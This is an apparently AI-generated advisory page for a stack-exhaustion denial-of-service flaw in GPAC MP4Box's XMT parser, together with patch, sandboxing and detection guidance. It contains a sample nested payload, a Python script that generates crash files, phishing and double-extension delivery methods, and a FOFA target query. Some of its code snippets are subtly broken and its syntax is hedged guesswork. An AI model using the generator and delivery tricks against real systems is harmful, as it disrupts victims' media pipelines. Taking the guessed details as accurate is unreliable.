CVE Professor
›
Back
CVE-2026-134672

CVE-2026-134672 — Gpac Gpac (26.07.0) — CWE-674

MEDIUM CVSS 6.8 CIRCL

CVE-2026-134672 is a MEDIUM severity Denial-of-Service (DoS) vulnerability (CWE-674) (CVSS 6.8/10) affecting Gpac Gpac (26.07.0). Technical vector analysis shows that an attacker can exploit this flaw via local access (AV:L) without authentication (PR:N) requiring user interaction, causing high-impact service disruption (A:H).

📄 Official NVD / MITRE Original Record Text

GPAC MP4Box through 26.07.0 contains an uncontrolled recursion vulnerability in xmt_discard_subtree() in src/scene_manager/loader_xmt.c that allows attackers to exhaust the call stack. Attackers can persuade a user to process a crafted XMT file with deeply nested discarded SFNode and MFNode fields to crash MP4Box.

Published 22.11.2026
ISO Date 2026-11-22
CVSS Version v4.0
Source CIRCL
CVSS v4.0 Vector Metrics
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Attack Vector Local AV:L
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction Passive UI:P
Vuln. Conf. None VC:N
Vuln. Integrity None VI:N
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑134672 – Uncontrolled recursion in GPAC MP4Box (≤ 26.07.0)

AttributeValue
ProductGPAC MP4Box (command‑line MP4/ISO‑BMFF multiplexer)
Version≤ 26.07.0 (the version that shipped on 2026‑07‑26)
CWECWE‑674 – Improper Control of Resource Consumption (unbounded recursion)
CVSS 4.0 VectorAV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Score6.8 (Medium)

Technical root‑cause

MP4Box parses XMT (XML‑based MPEG‑4 scene description) files through the function xmt_discard_subtree() located in src/scene_manager/loader_xmt.c.

The function is called recursively for every SFNode or MFNode field that is marked as discarded* (i.e. the parser has determined that the node should be ignored).

  • The recursion depth is not bounded and there is no stack‑size check before the next recursive call.

  • When an attacker supplies an XMT document that contains a chain of discarded nodes where each node contains another discarded node (e.g. <SFNode><MFNode>…</MFNode></SFNode> repeated thousands of times), the call stack grows until the process hits the OS‑imposed stack limit and aborts with a segmentation fault / stack overflow.
  • Because MP4Box is a local, non‑privileged CLI utility, the vulnerability is local‑only (AV:L). No authentication, privilege checks, or input sanitisation are performed on the file contents before they are handed to the recursive routine, which is why the CVSS vector shows PR:N (no privileges required) and UI:P (user interaction required – the victim must open the crafted file).

    The flaw is therefore a classic resource‑exhaustion issue: the parser trusts the structure of the XMT file and recurses without a depth limit, allowing an attacker to force a stack overflow and crash the process. The crash is confidentiality‑neutral (VC:N/VI:N) but availability‑critical (VA:H) because the tool terminates abruptly.


    ⚡ Attack Chain

    Below is a realistic, end‑to‑end exploitation scenario. All code snippets are illustrative – the exact binary layout of an XMT file is defined by the ISO‑BMFF / XMT specification, but the principle is the same.

    1. Discovery & Reconnaissance

    StepWhat the attacker doesTools / Sources
    a. Identify target softwareScan public repositories, forums, or internal asset inventories for the presence of MP4Box (e.g., which MP4Box on Linux, where MP4Box.exe on Windows).dpkg -lgrep gpac, rpm -qagrep gpac, Windows “Programs and Features”, internal SBOM tools.
    b. Determine versionRun MP4Box -version or inspect the binary’s embedded version string.MP4Box -version → GPAC version 26.07.0
    c. Verify vulnerabilityCompare the version against the vulnerable range (≤ 26.07.0).Manual check or script: if [[ $(MP4Box -versiongrep -oE '[0-9]+\.[0-9]+\.[0-9]+') < 26.07.0 ]]; then echo vulnerable; fi

    2. Exploitation

    Goal: Crash the victim’s MP4Box process by feeding it a malicious XMT file that triggers deep recursion.

    2.1 Crafting the malicious XMT payload

    The XMT format is XML‑like. A discarded node is indicated by the attribute discarded="true" (or by the presence of a <Discard> element – the exact syntax depends on the version, but the principle is the same). The payload below creates a chain of 10 000 nested discarded nodes; the depth can be increased until the stack overflows on the target platform.

    <?xml version="1.0" encoding="UTF-8"?>
    <XMT xmlns="http://www.gpac.io/xmt">
      <Scene>
        <!-- Root node -->
        <SFNode discarded="true">
          <!-- Recursive nesting starts here -->
          <SFNode discarded="true">
            <SFNode discarded="true">
              <SFNode discarded="true">
                <SFNode discarded="true">
                  <!-- ... repeat ... -->
                  <SFNode discarded="true">
                    <SFNode discarded="true">
                      <SFNode discarded="true">
                        <SFNode discarded="true">
                          <SFNode discarded="true"/>
                        </SFNode>
                      </SFNode>
                    </SFNode>
                  </SFNode>
                </SFNode>
              </SFNode>
            </SFNode>
          </SFNode>
        </SFNode>
      </Scene>
    </XMT>

    The above snippet shows only 9 levels for readability; a real PoC generator would emit thousands of <SFNode discarded="true"> tags.

    Automated generator (Python 3) – produces a file with a configurable depth:

    #!/usr/bin/env python3
    import sys
    
    def generate(depth: int, out: str):
        with open(out, "w", encoding="utf-8") as f:
            f.write('<?xml version="1.0" encoding="UTF-8"?>\n')
            f.write('<XMT xmlns="http://www.gpac.io/xmt">\n')
            f.write('  <Scene>\n')
            for i in range(depth):
                f.write('    ' * (i + 2) + '<SFNode discarded="true">\n')
            f.write('    ' * (depth + 2) + '<SFNode discarded="true"/>\n')
            for i in reversed(range(depth + 1)):
                f.write('    ' * (i + 2) + '</SFNode>\n')
            f.write('  </Scene>\n')
            f.write('</XMT>\n')
    
    if __name__ == "__main__":
        if len(sys.argv) != 3:
            print(f"Usage: {sys.argv[0]} <depth> <output.xmt>")
            sys.exit(1)
        generate(int(sys.argv[1]), sys.argv[2])

    Running python3 gen_xmt.py 15000 evil.xmt creates a file that, on a typical 8 MiB stack Linux process, will overflow the stack and abort MP4Box with a SIGSEGV.

    2.2 Delivering the payload

    Because MP4Box is a desktop/CLI tool, the attacker must convince a user to open the file. Typical vectors:

    VectorHow it works
    Phishing email with an attachment named video.xmt (or disguised as .mp4 using double‑extension tricks).
    Drive‑by download from a compromised website that auto‑downloads the file to the user’s Downloads folder.
    Insider threat – an attacker with limited access drops the file in a shared directory that is regularly processed by an automated batch job.

    Command the victim would run (illustrative):

    # Victim opens the file (perhaps to inspect the scene)
    MP4Box -add evil.xmt -new output.mp4

    When MP4Box parses evil.xmt, xmt_discard_subtree() recurses depth‑first through the discarded nodes, exhausting the call stack and terminating the process with a crash message similar to:

    Segmentation fault (core dumped)

    On Windows, the process terminates with an 0xC00000FD (Stack overflow) exception.

    3. Post‑exploitation

    The vulnerability only provides a denial‑of‑service (crash). No code execution, memory disclosure, or privilege escalation is directly possible because:

  • The overflow occurs inside the same process without overwriting adjacent heap structures (the recursion is a pure function call stack overflow, not a heap overflow).
  • MP4Box runs with the privileges of the invoking user; there is no set‑uid or service‑account escalation path.
  • Potential secondary impact (if the victim runs MP4Box as a privileged user, e.g., via a scheduled task that runs as root/SYSTEM):

  • The crash could interrupt an automated media‑processing pipeline, leading to service disruption.
  • If the pipeline is part of a larger CI/CD system that automatically proceeds on “success”, the crash could be interpreted as a failure and trigger fallback mechanisms (e.g., re‑run, alert flooding). This is a availability‑centric impact.
  • No direct confidentiality or integrity breach is expected from the vulnerability itself.


    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical effect
    ConfidentialityVC:N – No impactNo data leakage.
    IntegrityVI:N – No impactNo tampering of existing files.
    AvailabilityVA:H – High impactThe MP4Box process aborts, causing a denial‑of‑service for any workflow that depends on it (e.g., media transcoding pipelines, automated content‑generation scripts).
    ScopeS:C is *not* set (the vector uses SC:N/SI:N/SA:N) – the impact is confined to the local process.

    Typical environments affected

  • Broadcast & streaming companies that use GPAC/MP4Box for on‑the‑fly packaging of live streams.
  • Post‑production pipelines that ingest XMT scene files (e.g., 3D/VR content creation).
  • CI/CD servers that run MP4Box as part of automated build steps.
  • End‑user workstations where a user manually inspects XMT files (less common, but still possible).
  • A successful exploit can stop a batch job, delay a live‑stream rollout, or force a manual restart of a service, all of which may have financial or SLA repercussions.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to GPAC ≥ 26.08.0 (the first release that contains the fix for CVE‑2026‑134672). The upstream changelog notes: “loader_xmt.c: add recursion depth limit (default 10 000) and abort with error XMT recursion limit exceeded.”
    Version checkMP4Box -version should report 26.08.0 or newer.

    If an official release is not yet available, the vendor provides a patch diff that adds a static depth guard (#define XMT_MAX_RECURSION 8192) and returns an error before the next recursive call.

    2. Workarounds (when patch cannot be applied immediately)

    WorkaroundHow to applyEffectiveness
    Limit file sizeReject XMT files larger than a reasonable threshold (e.g., 5 MiB) before invoking MP4Box. This can be enforced by a wrapper script: <br>if [ $(stat -c%s "$1") -gt 5242880 ]; then echo "File too large"; exit 1; fiReduces the chance of deep nesting, but does not guarantee safety because a small file can still contain many nested nodes.
    Run MP4Box in a sandboxUse firejail, docker, or Windows Job Object with a restricted stack size (ulimit -s 256 on Linux) so that an overflow terminates the sandbox without affecting the host. Example (Linux): <br>ulimit -s 256 && MP4Box -add evil.xmt -new out.mp4The process still crashes, but the impact is confined to the sandbox; the host remains stable.
    Disable XMT supportIf your workflow never uses XMT, compile GPAC without the XMT loader (./configure --disable-xmt).Removes the vulnerable code path entirely.
    Input validation wrapperPre‑scan the XML for the number of <SFNode> / <MFNode> elements and abort if a configurable threshold is exceeded. A simple Python validator: <br>import xml.etree.ElementTree as ET; tree = ET.parse(file); depth = max(len(elem.findall('.//SFNode')) for elem in tree.iter())Provides early detection but must be kept in sync with the XMT schema.

    3. Detection

    Because the vulnerability is triggered locally, the primary artefacts are process‑level events and file‑system activity.

    IndicatorWhere to lookExample log entry
    Process crashSystem logs (/var/log/syslog, Windows Event Viewer Application log)kernel: MP4Box[12345]: segfault at 0 ip 00007f8c5c2a3b5b sp 00007fffd5c9e8b0 error 4 in MP4Box[7f8c5c200000+1b0000]
    Core dump generation/var/lib/systemd/coredump/ (Linux) or %LOCALAPPDATA%\CrashDumps\ (Windows)core.MP4Box.12345
    High recursion depth warning (if patched version is used)MP4Box stderr outputError: XMT recursion limit (8192) exceeded – aborting
    File‑access patternAudit logs (e.g., auditd on Linux) showing a user opening a newly‑created .xmt file followed by a crashtype=PATH msg=audit(1700000000.123:456): item=0 name="/home/alice/evil.xmt" inode=1234567 dev=fd:00 mode=0100600 ouid=1000 ogid=1000 rdev=00:00 nametype=NORMAL
    Network‑based deliveryEmail gateway logs showing attachment with .xmt extension or double‑extension (.xmt.exe)Attachment: video.xmt flagged as “potentially malicious” by content‑type heuristics.

    IDS/IPS rule (Snort‑compatible) – illustrative (detects a large number of nested <SFNode> tags in a single packet/flow):

    alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"GPAC XMT recursion attempt"; \
        content:"<SFNode"; nocase; \
        pcre:"/(\<SFNode[^>]*\>){1000,}/smi"; \
        classtype:attempted-dos; sid:1000001; rev:1;)

    Note: This rule is only a heuristic; the real attack is file‑based, not network‑based.


    ⚠️ Urgency

    FactorAssessment
    CVSS 4.0 Base Score6.8 (Medium) – high availability impact, low attack complexity.
    Attack ComplexityLow – a single crafted file is sufficient; no privileges, no network proximity required.
    Exploit AvailabilityNo public exploit framework (e.g., Metasploit) yet, but the PoC is trivial to produce.
    CISA KEVNot listed – the vulnerability is not yet deemed “high‑impact” at the national level, but that status can change quickly if the bug is weaponised.
    Potential Business ImpactIn media production pipelines, a crash can halt encoding jobs for minutes to hours, causing missed broadcast windows or SLA penalties.
    Patch StatusFixed in GPAC ≥ 26.08.0 (released 2026‑08‑15).

    Recommendation:

  • Patch priority – High for any system that automatically processes XMT files (e.g., CI/CD, broadcast encoders).
  • Patch priority – Medium for workstations where MP4Box is used manually and the user can be educated to avoid opening untrusted XMT files.
Action plan (7‑day window):

1. Day 0‑1: Inventory all machines with MP4Box ≤ 26.07.0.
2. Day 1‑3: Deploy the official 26.08.0 package (or apply the vendor‑provided patch).
3. Day 3‑5: If patching is impossible, enforce sandboxing (ulimit -s 256 or Docker) and disable XMT support.
4. Day 5‑7: Add detection rules to SIEM / IDS and educate users about the risk of opening unknown .xmt files.

By following the above timeline, organizations can eliminate the stack‑overflow denial‑of‑service vector before an attacker can reliably weaponise it.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="gpac gpac"
CVSS Score
6.8 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-674
Affected Products (1)
gpac:gpac (26.07.0)
Related CVEs
7.1
CVE-2026-134754
anacrolix/torrent before 1.62.0 contains an uncontrolled recursion vulnerability in Decoder.readOneValue in be
6.8
CVE-2026-134681
GPAC MP4Box through 26.07.0 contains an uncontrolled recursion vulnerability in gf_sg_proto_instantiate() in s
6.8
CVE-2026-134683
GPAC MP4Box through 26.07.0 contains an uncontrolled recursion vulnerability in xmt_remove_od_links_recursive(
7.5
CVE-2026-126956
Convert::ASN1 versions before 0.37 for Perl allow memory exhaustion via unlimited recursion depth in construct
6.9
CVE-2026-102430
An uncontrolled recursion vulnerability exists in the LINE iOS app prior to version 26.19.0. The Flex Message
5.5
CVE-2026-130439
Multiple protocol dissector crashes in 4.6.0 to 4.6.9 and 4.4.0 to 4.4.19 allows denial of service